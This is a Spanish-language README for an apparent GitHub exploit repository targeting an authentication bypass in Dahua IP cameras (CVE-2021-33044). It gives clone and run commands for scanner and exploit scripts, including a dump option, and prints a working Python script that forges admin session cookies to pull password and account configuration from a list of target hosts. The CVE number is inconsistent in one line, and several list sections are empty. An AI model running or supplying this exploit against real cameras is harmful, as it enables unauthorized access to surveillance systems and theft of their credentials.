
DAHUA_AUTH-BYPASS-CVE-2021-33044
Las cámaras IP Dahua son dispositivos IoT ampliamente utilizados en sistemas de vigilancia de seguridad. Debido a que a menudo se despliegan en redes internas o se accede a ellas desde Internet, las vulnerabilidades de seguridad en las cámaras IP pueden afectar gravemente la privacidad y la seguridad de la información.
CVE-2021-33045 es una vulnerabilidad de seguridad que existe en algunas líneas de cámaras Dahua, que permite el acceso no autorizado a recursos de configuración internos sin necesidad de autenticación válida. Esta vulnerabilidad se origina por un mecanismo de control de acceso deficiente en el firmware del dispositivo.
| Elemento | Contenido |
|---|---|
| CVE | CVE-2021-33044 |
| Tipo | Bypass de autenticación |
| Gravedad | Crítica (CVSS ~9.8) |
| Auth | No requiere autenticación |
| Afecta | Cámaras Dahua / DVR / NVR |
La vulnerabilidad se origina por un diseño de autenticación inseguro en el firmware de las cámaras Dahua:
Esto permite a un atacante:
Referencias:
→ El cliente envía una solicitud HTTP con una cookie arbitraria
→ La cámara verifica la cookie a nivel de interfaz
→ No verifica la sesión válida en el backend
→ Permite el acceso directo a los endpoints de configuración internos
→ Devuelve datos sensibles
| Archivo | Propósito | CVEs |
|---|---|---|
dahua_scanner.py | Descubrimiento de red — encontrar cámaras Dahua en la subred | Detección |
dahua_exploit.py | Escáner Multi-CVE — verifica todas las vulnerabilidades de seguridad. | Todas |
dahua_auth_bypass.py | Bypass de autenticación dedicado con opción --dump | CVE-2021-33044 |
# Clonar el repositorio
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Escanear subred (puertos requeridos)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Host único con puerto
python dahua_scanner.py https://example.com
Puertos comunes de Dahua: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Volcar dispositivo tras el bypass
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
El script utiliza la librería requests y desactiva intencionadamente las advertencias SSL para deshabilitar alertas SSL.
La función dump_accounts(ip, port=80) es la función principal encargada de verificar un dispositivo de cámara.
Su función principal es:
Simulación de cookies de autenticación. La función utiliza valores de cookie como:
userName=adminuserLevel=1sessionID=00000000En las versiones de cámara afectadas, el backend no verifica el sessionID real, lo que hace que el sistema crea que la solicitud fue enviada desde una cuenta de administrador válida.
El script lee la lista de objetivos desde un archivo de entrada y llama a la función de verificación para cada dispositivo de manera secuencial. Este enfoque permite evaluar múltiples cámaras de forma automática.
Estos scripts han sido desarrollados basándose en:
Estado de las pruebas:
Este proyecto: